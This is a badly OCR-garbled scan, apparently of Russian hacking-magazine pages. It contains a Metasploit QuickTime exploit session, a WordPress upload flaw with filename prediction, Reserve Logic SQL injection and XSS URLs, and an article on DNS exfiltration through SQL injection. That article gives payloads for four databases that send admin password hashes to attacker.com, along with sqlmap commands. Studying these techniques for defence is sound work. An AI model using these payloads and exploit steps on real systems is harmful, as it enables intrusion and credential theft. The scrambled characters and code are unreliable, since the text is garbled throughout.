Класс и ка жа н ра. ,Щал ее уп равлен и е передается на шелл-код и за пускается кал ькулятор. В да н н ом М etaspl oit- м одуле отсутствует обход DEP'a, но никтотебе незапрещаетегоздесьдобавить. Генерация эксплойтадля QuickTime 7.6.9 с полезной нагрузкой в виде запуска калькулятора:

msf

>

use exploit/windows/filefonmat/apple_quicktime_texmI

msf exploit(apple_quicktime_texm1)

>

info

AVailable tагgеts:

Id

Nаmе

0 1

Quickтime 7.7.1 оп tilindows ХР sРЗ Quickтlme 7.7.О оп WindoWS ХР 5РЗ


msf exploit(apple_quicktime_texm1) tагgеt

>

=> 2

msf exploit(apple_quicktime_texnI)

>

payload => Windows/exec msf expIoit(apple_quicktime_texm1) cmd =>

msf exploit(apple_quicktime_texml) [*] Сгеаtiпg'msf .xml'.

Set cmd саlс.ехе

>

eХploit

>

IщЕ

0uickTime 7.6.9, 0uickTime 7.7.0, 0uickTime

об

>

at /home/pikofarad/.msf4llocal/msf.xml

nsf ёxploit(apple_quicktime_texm1)

щцiщ Существует

2

set pay]oad Wlndows/exec

calc.exe

[+] msf.xml Stored

set tагgеt

7.7.1.

новлен ие, устра ня ющее дан ную уяз

в

имость,

0UiсkТimе-цикл, который приведеткпереполнению буфера

".ý: 3аrрузка пропзвольногофеЙла вWоrdРrеss g Rеsчmе5чЬmissiопs&JоЬРоstiпgs

lIlllllIlltllb

rl

,Щевятого июля были опубликованы детали уязвимости в плагине Wоrd Ргеss Resu me Subm issions & Job Posti ngs, позволя юще й загружать

произвольные файлы на сервер {само собой, для их последующего исол нен ия].

п

шцil

плагине существует возможностьзагрузки резюме через поле"f ile в котором никак не фильтруется расширениефайла. Вложения загружаются в папку/wр-сопtепt/uрlоаds/гsjр/аttасhmепts/. 0днако имя файла при загрузке изменяется, за это отвечаютстроки В

attachment",

1

9З-1 97 в скрипте/wр-сопtепt/рlug jns/гesume-submissions-job-

postings/includes/f

t

if ( t

$еппог

=

lME

WoгdPressResumeSubmissions&JobPostingsv2.5.1

)

]

0бновить или более поздней.

date( 'Y-m-d H:i:S' ) ) . '-'

$count '.'

$ext.;

Из этого фагмента кода следует, что в качестве нового имени файла ис-

&

Job Posti пgs до версии 2.5.2

1: УrliЪillffiныеуязвиности

[$key];

getExtension( $_FILES[$input]['nare'][$key]);

$name = mds(

и.возможно,более

ранние.

== UPLOAD_ERR_OK )

$tmpName = $_FILES[$input]['tпp_name'

$ext

ьзуется М D5 от знач ен ия текуще й даты на се р вере, в довесок к этому прибавляется дефис и порядковый номер файла [если загружался один фа йл, то та м всегда будет стоять еди н и ца). Рассмотрим конкретный пример. Если время на сервере было равно 2012-07 -09 21:22:20 и в эту секунду был загружен ров но оди н фа йл, то его имя будет8lза2а4Oе8еf 7fез661972696409Ь562-1.рhр и его можно будет обнаружить в папке /Wp-content/uploads/гsjp/attachments/. Для получения даты сервера можно воспользоваться Вuгр Suite и посмотреть дату сервера, которая указа на в 200 - м ответе сервера после отп рав ки файла. flля формирования правильного имени файлатакже необходимо п р ибавить одну секунду к времен и сервера, получен ного в ответе. Та ки м об разом. есл и в ремя сервера было 2012-07-09 21:22:19, то и мя загружен ного файла будетmd5("2О12-g7-О9 21i22:zo") + '-1.php'.

щщщWоrd Ргеss Resume Submissions

unctions,php:

fогеасh( $_FILЕS[$lпрut]['егпоr'] as $key =1 $еггог

стеке

пол

lAV: N/AC: L/AU : N/C : N/l : Р/А: N l

щЕ

на

в

Reserve Logic

llllllllllllп" {AV:

ЕЕtr

N/AC

:

М

/Au S/C C/l С/А: :

:

:

середине и юня был и раскрыты уязви мости в движке Rеsеrче Logic v1,2 Booki пg, в числе которых станда ртн ы е и слепы е SQ L-и нъекции, за грузка п роизвольны х фа йлов, а также разношерстны е XSS. 3а стольдерзкую В

раздачу взяла на себя ответствен ность контора Vul пегаЬilitу- Lab.

щцЕ 1. SQL-инъекции.Этиуязвимости

позволяютатакующемувыпол-

нить произвольные SQL-команды на соответствующей СУБД. Уязви}.tые скрипты:

iтчпе9

10-обходDЕР

в

ROР-цепочке

С l

. . . . . . . . . .

packagedetails.php; Ьооkiпg_герогt.рhр;

usегs_герогt.рhр; editenquiries.php; addcljentlocations.php; addcUStomeгs.php; addpacka9es,php; addaccomtypeavailability.php; Ьооkiпg_герогt.рhр; addspecialoffeг.php,


Уязвиl,{ые параметры:

. . . .

!ля эксплуата

id;

.

гghtМепu; pid;

вилегированного

http

/ /

.

L27

.

О. О.

.

/

727, о.0. 1 : 1зз7l [путь- к- rеsегчеlоgiс Ьооkiпg_герогt . php ? гghtlvlепu=rghtМепuЗ& огdегЬу= - 1%27 [ sQL - IN] EcTIoN ]& sогt=Аsс&tхt t гоmDаtе=05 - 17 - 2012&txtToDate=06

.

http

|

:

/ /

/ /

L27

.о.0.

1

:

]

/admin/

-

16- 2O12

1зз7l [ путь- к- neserveJ"ogic ]/admin/

,

http : / / L27 . о,0. 1 : 1зз7l [путь-к- геsепчеIо8iс Ьооkiп8_герогt . php ? гghtМепu=гghtМепuЗ&

]

/admin/

BLIND SQL-IN] EcTIoN]&soгt=ASc& txt F гomDate=x&txtToDate=x I

2. Загрузка произвольныхфайлов.Уязвимость

http

:

r27 . о.0.

/ /

http

:

127

/ /

0,0.

.

путь- к- геsеrчеlоgiс

1

:

1ЗЗ7l

1

:

1

:

1зз7l [ путь-

н и

]

/admin/

].зз7l [путь- к- геsепчеlоgiс

]

/admin/

гeservelogic

]

/admin/

[

к-

.

http

:

/ / 127

addcustomens

.

о.0.

.

php

1

:

1зз7l [ путь- к- resenvelogic ] /admin/

и скOпирOвать кодсвоего наиполезнейшегоскрипта Title или Name.

ПассивныеХSS,Этиуязвимости х

ваты вать сесси

и

стратOрOв.

в

поля ввода

позволяютатакующемупере-

других пол ьзо вателей/моде раторо в/адм

и н

и-

Уязвимые скрипты: . locationdetails.php;

. . . . . .

bookings.php;

addpackages.php; add_neWS.php;

addaccomtypeavailability.php; аdd_Ьаппег.рhр;

editfeedback.php.

позволяет при-

в иле ги рOван н 0му пол ьзовател ю за гружать в редон осн ы е фа Йл ы без каких-либо ограничений. Фильтрация загружаемых файлов

0тсутствуетсOвершенно, поэтомуатакующий можетбез проблем загрузить веб-шелл. Уязвимость расположена в скрипте addlocationphotos.php. Загружаемые файлы сохраняются в папку

гуimаgеsl

3. АктивныеХSS.

Эти баги позволяютатакующему внедрить вредоносный скрипт на страницы приложения. Уязвимости расположены в файлахаddрасkаgеs.рhр, add_news.php, аdd_Ьаппег.рhр или addaccomtypeavailability.php, а подверженные им параметры-эт0 title и па me. Требуется пол ьзо вательск и й а ккаунт без ка к их-л и бо

специальных привилегий.

Подвержены уязвимостям лараметры nid, id, пВld, mЬSеагсh, роstsеагсh, txtkey, page и d id. В резул ьтате успеш ной атаки можно завладеть аккаунтом, провести фишинг-атаку или изменить содержимоестраницы на стороне клиента. При этом нужнолюбыми, самыми изоцренными способами заставитьпользова]еля перейти по специально сформированной ссылке. Примеры эксплуатации:

. htlp : / / t27 . О. О. 1 | LЗЗ7 / |путь -к - геsегчеlоglс ] / 1ocationdetails . php ?did= [XSs ] . http : / / 127 .О,О.1 il,ЗЗ7 / fпуаь-к_ neseгvelogic],/admin,/ bookings. php?page= [XSs] . hltp

i /

/ L27

.

О. О, L

I

геSегче]оgiс

]

/admin/

1зз7l [путь- к- геsепчеlоgiс

]

/admin/

rЗз7 / |пут

ь - к -

addpacka8es. php)id= [XSS]

. htlp

:

/ /

127

.

о.0.

1

:

add_news. php ?nid= [Х5s]&раgе=],

. http | / / L27 . О. О, L : rзз7 / |путь -к - геsеrчеlоgiс ],/admin/ addaccomtypeava ilability . php ?id= [xSs] &poStSea гсh=S& cmbSeanch=&page=l&tXtkey= . http : / / 127,о.о.1, ilзз7 / fпуть-к-геsегчеtоgiс]/аdmiп/ add_bannen. php ? nBId= [XsS ] &раgе=1 . http : / / 127 . о, о, L : 1,ЗЗ7 / |путь - к - пеsегVеlоgiс editfeedbac k. php ? id= [ xSS ] &роStsеагсh=S&сmЬSеа =1&txtkey=

Rеsегче Log ic

iTune5

10-вызов. приводящий

к

переполнению буфера

на

ц:

. hltp : / / L27 . о,0. 1 : 1зз7l [ путь-к- геsегVеlоgiс ] /admin,/ addaccomtypeavailability, php

4.

addaccomtypeaVailability. php?id=72 [BLIND SQL-IN] EcTIoN]

../ga lle

0,0.

.

аddtЬаппег. php

. hltp : / /L27 .о.о. 7 i7зз7 / fпуть-к-геsегчеlоgiс]/аdmiп/ Ьооkiпg_геропt . php ? гghtМепч=гghtМепUЗ&[ sQL - INJ EcTIoN ] Union+select+1, 2,З, 4,5,,, ЗО - -%2o -o&soгt=x&txtEгomDate= x&txtToDate=x . htlp

/ / 1-27

add_neWS. php

пользователя. Вотнесколько примеров:

\ i !ЗЗ7 / |луть - к - rеsегчеlоgiс ] рас kagedetalls . php ?pid=4+ [ SQL - IN] ЕСТION ]AND+ sчЬstгiпg(чегSlоп( ), 1)=5 |

:

addpackages. php

оrdегЬу. Уязвимо_сти могутэксплуатироваться без наличия аккаунта при-

.

http

ции необходимо за йти на одну из следующих стра

стеке

v1 .2

Booki пg

С М

S и,

06н ов иться до посл едней верс ии

возможн

.

д

о,

более ра

н н

ие.

]

/admin/ гсh=&раgе


взлом

1.1ирослав Штайпар [tWitieг,com/stamparm]

SаL_инъЕкции чЕрЕз DNS получАЕ}{ сOдЕржимоЕ БАЗЬl ДАННЬIХ ЧЕРЕЗ DNS

SQL-инъекции - одна из самых распространенных уязвимостей современных веб-приложений. Разработчики постоянно закрывают массу дырок, связанных с этой проблемой, но хакеры по-прежнему находят способы эксплуатации этой старой как мир уязвимости. Сегодня я расскажу тебе о не новой, но действительно крутой технике извлечения данных из SQL-баз с использованием DNS-запросов, которая в умелых руках может стать грозным оружием любого современного пентестера. Готов? Поехали!

,

|цl

ппiппв Вся информацхя

предоставлена хсключительно в 0знакOиительныI целях. Ни редакция, нх автOр не

несут

ответственнO(ти за любой возможный вред, причиненный материалами данной статьи.

ввЕдЕниЕ

Под SQL-инъекцией подразумевается внедрение произ-

вольного SQL-кода в запрос к СУБ,Щ для получения доступа к данный таблиц, На практике это зачастую выглядит как специально сформированный запрос к странице вида где вместо 1 в параметре http://taгget.com/get_data.asp?id=1, id хакер пытается <пропихнуть> серию из SQL-команд, которая позволяет получить доступ к содержимому базы данных. В зависимости от логики работы уязвимого приложения, техники э(сплуатации SOL-инъекций принято делить на три большие группы: классические, слепые и абсолютно слепые. 0дно из отличий слепых инъекций 0т классических состоит в том, что для эксплуатации они требуют очень много времени и большое количество запросов, ведь данные uвытягиваются> бит за битом. Поэтому атакуюtлему обычно необходимо отправить десятки тысяч запросов, чтобы вытянуть сод€ржимое таблички среднего размера, что можетбыть замечено бдительным администратором уязвимой системы. 0днако есть способы, позволяющие значительно увеличить скорость получения данных из СУ!Б при эксплуатации слепых инъекций, при этом снизив количество запросов к самой базе.-0б одном из таких методов мы сегOдня и пOгOвOрим.

т

qJ ;ii

066

l


SQL-инъекции через DNS

tl

liJ

1-1

ii

оБР*",

l

(ns.example.com)

/"

W/ Sbrver

4)

DNS (com)

Quеrу:

l

1 test,example,com l t\l/ / 5) АпSWеr: I зl Rеfеrrаl: "-,-:,*" 192.168.10.5 \ ns.example.com ,/ 2)Qlеrу: \ \ / test,example.com J \ ,/ \ ,1) \ Query:

l) l .-"";l;БiJ"", t;\ 6)Answer: ,\> ýd Server- 192.168..1о.5 Client l.

DNS (default) Процесс резOлва доменного имени

0 чЕм рЕчь? Класс атак, техника эксплуатации которых позволяет получить нам искомый выигрь]ш во времени, в англоязычном интернете обычно описывается как DNs Ехfiltгаtiоп. Изначально понятие <ехfiltгаtiоп> было военным термином, под которым подразумевалOсь вOзврацение агента разведки на родину. В Сети под этим словом в контексте ИБ обычно понимается незаконное извлечение данных из информационных систем. При использовании этой техники в контексте SOL-инъекций появляется способ извлечения данных через DNS, при котором возможно пренебречь ожиданиeN4 0твета 0т сервернOг0 прилOжения при эксплуатации слепых инъекций и получить результаты выполнения своих SQL-запросов [например, имена пользователей и пароли), отправляя на свой DNS-cepBep DNS-запросы, содержащие данные из СУБ,Щ уязвимого приложения. Использование этой техники дает ряд неоспоримых преимуществ по сравнению с time-based или tгuе/fаisе техниками: во-первых, нам не требуется дожидаться ответа от веб-сервера, чт0 существенн0 ускOряет процесс, во-вторь]х, за один запрос мы можем вьiтащить много больше данных. В-третьих, техника не накладывает ограничений на нестандартные типы данных, таблицы и названия столбцов. DNS-запроgы мы будем передавать по протоколу DNS, что неудивительно :]. Это относительно простой протокол. Запрос, выполняемый DNS-клиентом, и соответствующий ему ответ, предоставляемый DNS-cepBepoM, используют один и тот же формат DNS-сообщений. За исключением трансферов зон, использующих для надежности протокол ТСР. DNS-сообщения инкапсулированы в UDР-датаграммы минимальные единицы информации в протоколе UDP для обмена информацией llrrlJ!ЦLOlDxl на транспортном уровне модели 0Sl lbit-ly/c1rrtфRE]. flля любого человека, 0существляющег0 мOнитOринг машины с помощью инструмента, подобного wiгеshагk, скрытый канал передачи данных, выполненный поверх DNs, будет выглядеть как небольшие серии всплеска DNS-трафика. В основе работы такого неконтролируемого канала передачи данных лежит'процесс передачи DNS-запросов от безопасных систем (локальных компьютеровl к произвольным DNS-cepBepaM, расположенным в интернете. !,аже если предположить, что выхOд в0 внешнюю сеть запрещен, но целевая машина способна резOлвить прOизвOльные дOменные имена, то передача данных вOзмOжна средствами отправляемьiх DNS-запросов.

-

хдкЕр

а9 11b/,/ 2о1)

Web server (wW,targ€t.com) Передача данных через DN5 при 50L injection атаках

гOтOвим успЕшную АтАку

Предпосылкой для успешной передачи даннь]х через DNS из БЩ уязвимOг0 приложения служит наличие в СУБfl подпрограмм, кOтOрые прям0 или кOсвенн0 инициируют процесс резолва доменнь]х имен, например для домена attacker.com. Любая функция, принимающая в качестве параметра сетевой адрес, скорее всего, подойдетдля этой цели, Следует отметить: нам безразлично, что делает эта функция и что она возвращает в качестве результата, главное, чтобы она инициализировала процесс резолва доменных имен, И напротив, мы должны заботиться, чтобы такие функции были вызваны корректно [без синтаксических ошибок] через SQL-инъекцию и чтобь в качестве входящих параметров мы каким либо образом передали результат нашего SQL-подзапроса [например, пароль администратораJ. Необходимо единственное условие: у нас должен быть контроль над официальным DNS-cepBepoM для дOмена, на который будут отправляться запрOсы.

ЧЕРЕЗ DNS К ЗВЕЗДАМ

Не будем углубляться в теорию: я дуь4аю, ты уже прекрасно понял, в чем основной принцип атаки, и уже бежишь настраивать DNS на своем дедике, Времени это займет не так много. Но для

МИРOСЛАВ ШТАМПАР И SOLMAP

-

мирослав Штампар профессиональный разработчик программного обеспечения и исследователь в области информационной беэопасности. Родился в 1982 году в городе Вуковар, Хорватия; получил степень магистра кOмпьютервь х наук на факультете электротехники и информатики Загребского университета в 2005 году. В настоящее время работает над докторской диссертацией на тему безопасности и 0рганизации параллельной обработки данных. Стремясь заниматься вOпросами, связанными с безопасностью, он стал одним из авторов известного открытого проекта sqlmap Ii,,л. r,.lq r ;lр .lr l]], посвященного автоматическому обнаружению и эксплуатации уязвимостей типа <Выполнение SQL-кода", и с декабря 2009 года постоянно участвует в еrо развитии. БлогМирослава-Ь liKvll(_L]_]l,


взло}i КаждьLй из приведенных

GET STARTED С SQLMAP Работать с sqLmap с поддержкой DNS очень просто: 1.

примеров может быть проэксплуати-

рован через соответствующую уязвиhlую к SOL-инъекции страницу, Например, если в качестве СУБЩ используется 0гасlе, а уязвимость присутствует в GЕТ-параметре id, то примерный вектор атаки будет выглядеть так:

http : //WWW.tагgеt. соm/Vulп. php?id=(5ELEcT DBMS_LDAP, INIT( (SELEcT раsswогd FRОМ SYS.UsER$ I,,IHERE name='SYS') I l'.attackeг.com',80) FRO|ч DUAL)--

Запусти sqmap для тестирования наличия инъекции:

-usenname$: python sqlmap.py -u \ " http : / / 192.16s.2r.129 / sqlпар /mssql/iis/get_int.

asp?id=1"

2. Теперь используй ключ --dns-domain, чтобы указать sqlmap,

что мы хотим использовать передачу данных через DNS,трафик:

-usегпаmе$: Sudo python sqlmap,py -u \ "http : //192. 16s .Л,.r29 / sql-nap/msSql/iis/get_int. asp?id=1" \ --dnS-domain="foobaг.com" --paSswondS -V з Скрипт пошагово извлечетданные, показывая всю необходимую информацию о количестве запросов и полученных пакетах, Информацию о настройке собственного DNS-cepBepa ищи в боковых выносах.

Такой же подход применим и к MуSQL. В случае Мiсгоsоft SQL Sегчег и PostgreSQL необходимо использовать комбинированную технику, так как они требуют для выполнения выражение, состоящее из нескольких запросов. Таким образом, для Microsoft SQL Sегчеr запрос будет следующим;

http:/,/WWW.taгget.com/Vuln.php?id=l;DEcLARE чагсhаг(1024); SELEсT @host=(SELEсT ТОР 1 masteг.dbo.fn_

@host

vагЬiпtоhехstг(раsswогd hash ) FROM SyS . sq1_Iogins WHERE name=' sa' )+' . attacken. соm' EXEс('masteг..xp_diгtnee "\\'+@hоSt+'\fооЬаг$"' );--

,;

-

начала даваи рассмOтрим практические примеры передачи данных. на примере упOмянутOг0 парOля администратOра, через механизм резOлва дOменнь!х имен для четырех распрOстраненных СУБfl. В примерах будет использоваться домен attackeг.com доменное имя, над DNS которого мы имеем полный контроль, Полный контроль в данном случае необходим для того, чтобы lvы могли получить результаты выполнения SQL-подзапросов из

-

логов DNS-сервиса:

Micгosoft SQL Sеrчег

DEcLARE @host Vагсhаг(1024); sELEcT @hoSt=(SELEcT ТОР 1 maSter.dbo.fn_ VaгbintohexSt г ( pas sword_hash ) FROМ Sys.Sq1_1oginS WHERE name='Sa' )+'.attackeг.com'

ЕХЕс('mаStеr..хр_diгtгее "\\'+@host+' \fооЬап$"'

;

).;

оrасlе

Необходимо упомянуть одну важную деталь для успешной организации DNS-туннеля в Microsoft SQL Sегчег, РоstgгеSQL и MySQL эти СУБ! должны поддерживать пути в формате UNC, что, в общем-то, означает, что такой туннель можно создать, если на сервере в качестве бэкенда будет использоваться 0С Microsoft Windows.

0т слOв к дЕлу

0дной из самых классных реализаций этой техники является великолепная тулза sqlmap с поддержкой использования DNS-запросов для передачи данных, которую мы и будем возьмем на вооружение. Эта фича была добавлена с ревизии 5086 ветви v'].0-dev в официальном GlТ-репозитории, С помощью опции --dns-domain ты можешь включить поддержку передачи данных через DNSтрафик и указать sqlmap, что все выполняемые запросы на резолв имени должны указывать на заданный домен [например, --dnsd о

ma iп

=attacke г.соm].

Запись DNS-cepBepa lнапример, nsl.attacker.com] должна содержать lР-адрес машины, на которой будет запущен sqlmap.

5ELEcT DBMS_LDAP.INIT((sELEcT раSSWогd FRoM SYS.UsER$ и]нЕRЕ паmе='SYS' ) l l '

.

attackeг.

com'

,80)

FROм DUAL;

MysQL

SELEcT LOAD*FILE(cONcAT( '\\\\' , (SELEcT раsSWогd tROМ mySqI.uýer WНЕRЕ uSег='rооt' LIMIT 1),'.attackeг.com\\ fооЬаг' ) ); Post8гeSQL DROP TABLE

It EXIsTs table_output;

cREATE TABLE table_output(content text),; cREATE 0R REPLAсE FUNсTION temp_function() RETURNS VOID AS $$ DEcLARE exec_cmd ТЕХТj DEcLARE quегу_геsu]t ТЕХТ; BEGIN

SELEcT INTo queny_neSult (SELEcT paSswd FRОМ pg_ShadoW usename='postgres' ); exec_cmd := E'COPY table_output(content) FRoM

t HERE

E\,\\\i\\\\,

l

quегу_геsчlt

l

|

|

Е' , аttасkег. соm\\\\fооЬаг.

txt\'

';

EXEсUTE exec_cmd; END;

$$

LANGUAGE

ptpgsqI SEcURITY DEFINER;

SELEcT temp_f Unction(

о68

) ;

Орагиент вывода команды sqlmap --dns-domain

хАкЕр

09

/]64l 2012


SQL-инъекции через DNS

МЕТOДЫ ЗАЩИТЫ

тЕстируЕм скOрOсть

как таковые, методы защиты от атак типа sQL iпjесtiоп сводятся к нескOльким простым вещам. Самое главное необходимо лисать безопасный код:

.

рАБOтьl DNS EXFILTRAT|ON Все поддержиЪаемые

sqlmap способы внедрения SOL-кода были прOтестирOваны в виртуальнOм окружении в сравнении с новой техникой' использующей DNS. БылО измеренО Количество отправленных НТТР-запросов и промежутки времени, потребовавшиеся для того, чтобы сдампить содержимое таблички iпfогmаtiоп schema. COLLAT|ONS [занимает около 4 Кб, из-за чег0 скорость соединения получилась достаточно высокой]. В приведенной ниже таблице протестированные метOды получения данных из СУБ! отсортированы с

. . .

1lетод получения данных из

1

Метод, основанный на использовании оператора UNlON IUnion (f

ull/

ра rtia l]]

, '

З

базь, ,::1Т; за-iiiiiв

Ме-од, основанчоlй на выводимых

СУБ[оллбках(Еrгог-Ьаsео] для передачиданныхизбазы exfiltгation]

[DNS

Метод,

на лс

Метод. основанный на времени отве-

таСУБД[Тimе-Ьаsеdl,задержка-1 се

кунда

1409

29212 э2716

9,02

з5,з

1

214,0L

1?720,51

Несомненно, в реальных условиях метод, использующий DNS, потребуетдополнительного времени в связи стем. что будутзадействOваны DNS-серверы, расположенные во внешней сети, Несмотря на эт0, разница между ним и методами, основанными на времени и

лOгических выражениях, 0станется весьма существенной, так как последние потребуют больше времени из-за большего числа выполняемых запросов.

В свою очередь, sqlmap, работая как поддельный DNS-cepBep, предоставляет валидные lHo фиктивныеJ ответы для входящих DNS-запросов на резолв имени. Фиктивные DNS-ответы отправ-

ляются для разблокировки 0жидающего ве6-сервера, не заботясь 0 результатах, котOрые оН вернет, поскольку sqlmap безразлично содержимое ве6-страницы. ,Д,ля каждого элемента, который нужно сдампить, sqJmap отправляет специально созданную строку SQL-запроса внутри обычного нттр-запроса, а в фоновом потоке обрабатывает и сохраняет все входящие DNS-запросы. Так как результат выполнения каждого SQL-

запрOса злOумыщленника окружается уникальными и рандомными префиксом и суффиксом, то нетрудно определить, какой SQL-запрос сOOтветствует пришедшему DNS-запросу. Правда, такой подход с (обрамлениемD результатов исключает использование кеширующего механизма DNS, заставляя использовать рекурсивный резолв имен. Каждый DNS-запрос на резолв имени кодируется в шестнадцатеричную форму, чтобы соответствовать стандартудля доменных имен DNS lRFC 10З4i. Таким образом, все спецсимволы сохраняются.

шестнадцатеричное представление длинных sQL-запросов разбивается на части. Это делается потому, что каждая часть доменного имени (например, .example. из tstl,example.comJ ограничена длиной в бЗ символа,

хлкЕр

09

/1b|l ?а12

v/zaNhPY.

правами кOтOрOг0 пOтенциальноуязвимое приложение осущест-

ВМЕСТ0 ЗАКЛЮЧЕНИЯ 0,70l2,50

N4етод, использующий DNS-трафик

основанный , 4;;;;;.;;*ЁЖ::;j;:fiil:i

5

lll

bit

Типизируй все данные, с которыми работаешь. Еслиты точно знаешь, чтозначение переменной id-всегда число, приводи эту переменнуюктипуiпt. Фильтруй специальные символы.

вляет работус Бfl . Не стоит предоставлять пользователю лишние привилегии. втOм числе и испOльзованиехранимых в Б,Щ процедур, кOтOрые пOтенциальн0 могут позволитьзлоумышленнику прOизвести атаку.

,__В.l."' [секундыl

з/lзб

нее 0 параметризOванных запросахты можешь почитать здесь:

Разграничивайдоступправильно,этокасаетсяипользователя.с

учетом скорости их работы:

м

Внезависимостиотязыкареализацииприложения, используй

для SQL-запросов так называемый ргерагеd Statement, что дослOвн0 перевOдится как (пOдгOтовленные выражения>. Подроб-

Вот ты и познакомился с продвинутой техникой, использующей

DNS и значительно повышающей скорость получения данных из Бfl, которая может быть использована, если более быстрые техники применить невозможно. Результаты тестирования показали, чт0 данная техника не требует отправки большого количества запрOсOв, а эт0 делает ее менее заметной. Возможно, из-за того, что она требует наличия DNS-cepBepa, эта техника не будет применяться большинством атакующих. С точки зрения реализации все выглядит дOстатOчн0 просто. так что не стоит недооценивать ее практической ценности, А реализация поддержки этог0 метода в такOм инструменте, как sqlmap, должна сделать его доступным для всех.

т

Бffi@е aassltlcat ll]t]alrd (Wet] page as challtlel) D

Ul- i]l]

) Ellol l]aSecl |,lfete,,ce llэiг-оi -Ъri l | всо eaI1-1]aSecl llltrlcl ) т l].]e-i]aSec] {а l]c] Si.,]c iec] c][,_

, нттр ) DNS

-

упление l,'lирос лава Штампара на PHDays в Москве

ппм . Более подробную информацию о классификации и особенностях различных типов sOL-инъекций ты сможещь найтх на нащем сайте по адре cy|hil.|yIPl2zz9, . Подробнее о том, как поднять свой DNsсервер с использOванием Ьiпd9, ты мохешь прочитать в этой cTaTbel bil, lу/М lEAE2.

Iш Помни, что sqlmap включает поддержку передачи результатов из l,ils sOL, tlysoL, PostgresQL и 0гасlе через DNs только в (лучае. коrда доступны медленные методы (вытяrивания} информации, и опция -"dn5-domain должна быть явн0 задана пользователем.


взло],l

Алексей ].,lосквин, Positive Technologies [аmоskчiпврtsесUгitу.гU]

чАсть а rа} @ В(я хнфорйацпя предоставлена

исключительно

овитая

0знакOffительных целях. Ни редакция, в

epTJ(a, или опасньlи

ниавтор не несут 0тветственности за любой

возtожный

вред, причиненный материалами данной статьи.

\л/

php:,//fl lte ИСПOЛЬЗОВАНИЕ врАппЕрА

РНРзllFlLтЕR В

КОНТЕКСТЕ

АТАКИ

нА,вЕБ_прило)l(Eния Уже не первый день многие исследователи ломают голову над особенностями реализации языка РНР и логики работы его функций, и я в том числе. 0бъектом моего недавнего исследования стали врапперы этого чудесного языка. Как и обещал, выдаю свежую порцию 0-dау-наработок, основанных на использовании враппера php:// f iltег, которые представляют собой новые техники эксплуатации уязвимостей в веб-

приложениях. 0?0

шш Сегодня мы продолжаем тему исследования

врапперов языка РНР с точки зрения атаки на ве6-приложения {первую часть ты можешь найти в прошлом номере или в РDF на диске}. Напомню, врапперы это абстрактный слой для работы с файлами, сетью, сжатыми данными и другими ресурсами. Это ресурс, из которого можно читать, в который можно писать и внутри которого можно перемещаться. В предыдущей статье, опубликованной в августовском номере ["Ядовитая обертка>l, мы рассмотрели возможности использования врапперов для работы с архивами, а также враппера data. В прошлый раз мы использовали врапперы для эксплуатации уязвимости в TimThumb vl.x, сегодня же мы продолжим ресерч Стефана Эссера относительно системы веб-аналитики Piwik, углубимся в эксплуатацию уязвимостей в phpMyAdmin и phpList. И все это возможно с использованием враппера рhр:// f iltег. Готов? Поехали!

-

хАкЕр

09 /164/ 2012


Ядовитая обертка, или опасный рhр://filtег

01100001

01110110

01110111

заключается в тOм, чт0 данные сOхраняются при передаче в любых сетях и междулюбыми устройствами {вне зависимости от кодировки]. В основе алгоритма лежит сведение трех восьмерок битов {24] к четырем шестеркам (тоже 24] и представление этих шестерок в виде символов алфавита Base64. То есть вхOдящая строка разбивается на части по три символа [если в последнюю часть попадает тOльк0 один или два символа, то оставшиеся биты заполняются нулямиl и каждая часть преобразуется в строку из четырех символов алфавита. Например, если мы хотим закодировать Base64 строку avw, сначала получим строку, состоящую из байтов, соответствующих этим символам. Это можно сделать, например, так:

$s='зчц' ;$I=stгlen($s);$bin*s=''

fог($i=0; $i<$1;

;

$i++){

$Ьlп_с=dесЬiп(огd($s[$i]

) ) ;

$г=8-strlеп($bin_c); != 0) $bin_c=str_repeat("a", $r).$ьiп_с;

if ($r

$bin_s . =$bin_c; }

принцип работы функции ba5e64_encode

,Щалее разобьем эту строку на подстроки из шести символов и пOлучившимся двOичным числам сопоставим символы из алфавита.

ш

$bln_Ien=st пlеп ( $bin_s ) j $ba5e64_c="ABcDEFGHI JK LМNОРQRsТUVtл'ХYzаЬсd

Врап пер рhр://filtег это вид метаобертки, поз воляющи й п рименять фильтры к потоку во время открытия. Использование фильтрOв дает

-

возможность трансформировать данные, получаемые из файла или записываемые в файл. В РНР есть встроенные фильтры, доступные по умолчанию, но с помоlцью враппера рhр://filtегтакже можно задействовать и пользовательские фильтры, созданные с помощью функции stгеаm_f iltег_геgistег. При этом использование неопределенных фильтров не влияет на обработку данных другими фильтрами. Например, если фильтр апуfiltег не определен, то функция геаdfilе просто выведет содержимое /etc/hosts полностью в верхнем регистре. пеаdfi lе

(

"php : //fi anyfi

lteг/геаd=Stгiпg. touppen l \

ltег/ге5оurсе=/еtс/hоsts"

).i

Эта особенность может быть полезна для обхода проверок, на 0снове stгpoS, preg_match и других.

удАлЕниЕ стOппЕрOв Встроенные фильтры сопчегt.Ьаsе64-dесоdе и string,stгip_tags

по-

звOляют удалять часть данных из потока. В 2009 году Стефан Эссер использовал эту особенность фильтра сопчегt.Ьаsе61+-dесоdе в экс-

плойте для Piwik (bit.lyl4tSlKO]. В своем адвизори Стефан Эссер указывал на тот факт, что с помоlлью рhр://filtег мы можем создавать файлы с произвольным содержимым, имея только возможность внедрять свои данные в конец файла. Но с 2009 года остались не раскрыты два важных вопроса: каким образом можно уничтожать <ненужные> данные и какие вOзмOжности дает применение фильтров?

efghijkImnopqгstuvwxyzol2З45 fог($i=О; $i<$bin_len; $i=$i+6){

$bsc=substг($bin_s, $j=bindec($bsc); $base64_s

.

=$base64_c [$j ];

}

В итоге мы получим то же самое, что и при обычном применении base64_encode к строке avw. Теперь рассмотрим работу функции base64_decode. Как несложно догадаться, при процессе декодирования во входящей строке будутучитываться только символы алфавита, а все остальные игнорироваться. При этом входящая строка будет разбиваться на части по четыре символа и из них будет делаться три символа восьмибитной кодовой таблицы. Поэтому применение base64_decode к строке несколько раз будет уменьшать длину стрOки, и на какOм-т0 шаге мы получим пустую строку. На этом несложном замечании, по сути, и основывается прием Эссера с выдавливанием стоппера. Но какую строку добавлять в конец файла, чтобы в результате получился файл с произвольным содержимым? Так как входящая строка разбивается на части по четыре символа алфавита и каждая часть декодится отдельно, то для того, чтобы декодирование стоппера не влияло на декодирова-

!

@QуSгд* N&y?N(B)c_1 !Y:w

0писАниЕ АлгOРитltlА BAsE64

Алгоритм Base64 описан в параграфе 6.8 RFC 2045, идея алгоритма обратимое кодирование, которое переводит строки, сOстOящие из символов восьмибитной кодовой таблицы, в строки, сOстOящие из.таких симвOлOв:

-

чwхуzОt2З456789+

/

ghi j k}mnopqrstu

